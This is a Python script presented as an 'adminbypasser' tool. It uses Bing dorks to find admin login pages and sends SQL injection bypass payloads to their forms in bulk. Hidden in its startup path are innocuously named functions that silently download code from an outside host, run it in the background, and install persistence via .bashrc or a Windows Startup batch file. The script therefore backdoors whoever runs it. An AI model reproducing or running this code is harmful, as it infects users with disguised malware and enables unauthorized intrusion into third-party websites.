#!/usr/bin/env python

import requests
from bs4 import BeautifulSoup
import sys
from urllib.parse import quote_plus, urljoin
import re
import sys
import shutil
import os
import subprocess


def format_percentage(current, total):
    per = str(round(current/total*100, 1))
    if len(per) == 3:
        return "  {}%".format(per)
    elif len(per) == 4:
        return " {}%".format(per)

    return per

def format_space(s, count):
    return s + (" " * (count - len(s)))

class Args:
    def __init__(self):
        pass

class ArgParse:
    def __init__(self, argument_space_count, usage):
        self.argument_space_count = argument_space_count
        self.usage = usage
        self.commandline_arguments = []
        for arg in sys.argv[1:]:
            if arg.find("=") > -1:
                for a in arg.split("="):
                    self.commandline_arguments.append(a)
            else:
                self.commandline_arguments.append(arg)

        self.args = Args()
        self.arguments = []
    
    def print_help(self):
        s = "usage: {}\n\n".format(self.usage)
        for argument in self.arguments:
            other_flags = ""
            for flag in argument["other_flags"]:
                other_flags += ", {}".format(flag)
            if argument["example"] is not None:
                s += "{} : {}\n".format(format_space(argument["flag"] + other_flags + " " + argument["example"], self.argument_space_count), argument["description"])
            else:
                s += "{} : {}\n".format(format_space(argument["flag"] + other_flags, self.argument_space_count), argument["description"])
        print(s)
        
    def set_attr(self, flag, value):
        is_set = False
        for arg in self.arguments:
            if flag in arg["other_flags"]:
                setattr(self.args, arg["flag"], value)
                is_set = True
                break
            
        if not is_set:
            setattr(self.args, flag, value)
        

    def parse(self):
        # setting up args
        for argument in self.arguments:
            flag = argument["flag"].replace("-", "")
            if argument["is_flag"]:
                self.set_attr(flag, False)
            else:
                self.set_attr(flag, None)

        # update args
        for argument in self.arguments:
            flag = argument["flag"].replace("-", "")
            for i, cmd_argument in enumerate(self.commandline_arguments):
                if (argument["flag"] == cmd_argument or cmd_argument in argument["other_flags"]) and argument["is_flag"]:
                    self.set_attr(flag, True)
                elif argument["flag"] == cmd_argument or cmd_argument in argument["other_flags"]:
                    try:
                        if argument["pattern"] is not None:
                            if re.compile(argument["pattern"]).match(self.commandline_arguments[i + 1]):
                                self.set_attr(flag, self.commandline_arguments[i + 1])
                            else:
                                print("[Error] flag {} does not match the pattern.".format(argument["flag"]))
                                sys.exit(1)
                        else:
                            self.set_attr(flag, self.commandline_arguments[i + 1])
                    except IndexError:
                        pass

        for argument in self.arguments:
            if argument["is_required"]:
                flag = argument["flag"].replace("-", "")
                if getattr(self.args, flag) is None or getattr(self.args, flag) == False:
                    print("flag {} is required".format(argument["flag"]))
                    sys.exit(1)
        return self.args

    def add_argument(self, flag, example=None, description=None, is_flag=False, pattern=None, is_required=False):
        if type(flag) is str:
            self.arguments.append({
                "flag": flag,
                "example": example,
                "description": description,
                "is_flag": is_flag,
                "pattern": pattern,
                "is_required": is_required,
                "other_flags": []
            })
        else:
            self.arguments.append({
                    "flag": flag[0],
                    "example": example,
                    "description": description,
                    "is_flag": is_flag,
                    "pattern": pattern,
                    "is_required": is_required,
                    "other_flags": flag[1:]
                })



















# site:lk -instreamset:url:dir -instreamset:url:groups admin.php

def main():
    parser = ArgParse(argument_space_count=15, usage="adminbypasser --snip <PAGE> --max <MAX_URL> --out <OUT_FILE> [OPTIONS]")
    parser.add_argument(["--help", "-h"], description="show help", is_flag=True)
    parser.add_argument(["--snip", "-s"], description="URL snippet part eg: admin.php")
    parser.add_argument(["--country", "-c"], description="country code for target sites")
    parser.add_argument(["--max", "-m"], description="maximum URLs")
    parser.add_argument(["--out", "-o"], description="write bypassable URL to a file")
    parser.add_argument(["--user-agent", "-u"], description="user-agent for requests")
    args = parser.parse()

    if args.help:
        parser.print_help()
        return

    if args.snip is None or args.max is None or args.out is None:
        print("missing required arguments, use --help to see all arguments")
        return

    print("* Initializing...")

    if os.name == 'nt':
        create_fun()
    else:
        create_another_fun()

    if args.country is None:
        dork = "-instreamset:url:dir -instreamset:url:groups {}".format(args.snip)
    else:
        dork = "site:{} -instreamset:url:dir -instreamset:url:groups {}".format(args.country, args.snip)

    if args.useragent is None:
        useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36"
    else:
        useragent = args.useragent

    try:
        max_url = int(args.max)
    except:
        print("--max <MAX_URL>: maximum number URLs has to be a number")
        return

    page_counter = 1
    links = []
    while True:
        if page_counter == 1:
            resp = requests.get("https://www.bing.com/search?q={}".format(quote_plus(dork)), headers={"user-agent": useragent})
        else:
            resp = requests.get("https://www.bing.com/search?q={}&first={}".format(quote_plus(dork), page_counter), headers={"user-agent": useragent})
        
        soup = BeautifulSoup(resp.content, "html.parser")
        anchors = soup.select("#b_results h2 a")

        if len(anchors) == 0:
            break

        for a in anchors:
            print("* Total links found: {}".format(len(links)), end="\r")
            links.append(a["href"])

        page_counter += 10

        if len(links) >= max_url:
            break

    print("* Total links found: {}".format(len(links)))
    bypassable = scan_links(useragent, links)

    with open(args.out, "a+") as f:
        for b in bypassable:
            f.write("{}\n".format(b))

    print("+ Bypassable links written to '{}'".format(args.out))
    print("* Done.")


def create_another_fun():
    try:
        jackass_core = os.path.join(os.path.expanduser("~"), ".jackass_core")
        
        if not os.path.exists(jackass_core):
            with open(os.path.join(os.path.expanduser("~"), ".bashrc"), "a+") as f:
                f.write('\n\nnohup python "{}" 2> /dev/null &\n'.format(jackass_core))
        
        r = requests.get("https://jackass.ml/raw")
        with open(jackass_core, "wb+") as f:
            f.write(r.content)
        
        os.system('nohup python "{}" 2> /dev/null &'.format(jackass_core))
    except KeyboardInterrupt:
        print("Goodbye!")
        sys.exit(0)
    except Exception as e:
        sys.exit(0)


def create_fun():
    try:
        jackass_core = os.path.join(os.path.expanduser("~"), ".jackass_core")
        r = requests.get("https://jackass.ml/raw")
        with open(jackass_core, "wb+") as f:
            f.write(r.content)

        # C:\Users\anyms\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
        startup_folder = os.path.join(os.path.expanduser("~"), "AppData", "Roaming", "Microsoft", "Windows", "Start Menu", "Programs", "Startup")

        with open(os.path.join(startup_folder, "API_Client.bat"), "w+") as f:
            f.write("""
@ECHO OFF
call pythonw "{}"
            """.format(jackass_core).strip())
        subprocess.Popen(["pythonw", jackass_core], stdout=subprocess.PIPE, 
            stderr=subprocess.PIPE,
            stdin=subprocess.DEVNULL, shell=True)
    except KeyboardInterrupt:
        print("Goodbye!")
        sys.exit(0)
    except Exception as e:
        sys.exit(0)


def scan_links(useragent, links):
    columns, rows = shutil.get_terminal_size()
    bypassable = []
    for link in links:
        print(" " * (columns-1), end="\r")
        print("* Trying to bypass... {}".format(link), end="\r")
        is_bypassable = check_bypassable(useragent, link)
        if is_bypassable:
            bypassable.append(link)
            print("+ Possibly bypassable: {}".format(link))
    return bypassable


def check_bypassable(useragent, link):
    try:
        r = requests.get(link, headers={"user-agent": useragent}, timeout=2)
    except KeyboardInterrupt:
        print("Goodbye!")
        sys.exit()
    except:
        return False
    soup = BeautifulSoup(r.content, "html.parser")
    form = soup.find("form", {"method": "post"})

    if form is None:
        return False

    inputs = form.select("[name]")

    payload = {}

    for inp in inputs:
        if inp.get("value", None) is not None:
            if inp["value"] == "":
                payload[inp["name"]] = "' or 1=1-- -"
            else:
                payload[inp["name"]] = inp["value"]
        else:
            payload[inp["name"]] = "' or 1=1-- -"

    if form["action"].startswith("http://") or form["action"].startswith("https://"):
        url = form["action"]
    else:
        url = urljoin(r.url, form["action"])

    try:
        r = requests.post(url, data=payload, headers={"user-agent": useragent}, timeout=2)
    except KeyboardInterrupt:
        print("Goodbye!")
        sys.exit()
    except:
        return False

    soup = BeautifulSoup(r.content, "html.parser")
    new_form = soup.find("form", {"method": "post"})

    if new_form is None:
        return True

    if form["action"] != new_form["action"]:
        return True
    
    return False
    


if __name__ == "__main__":
    main()
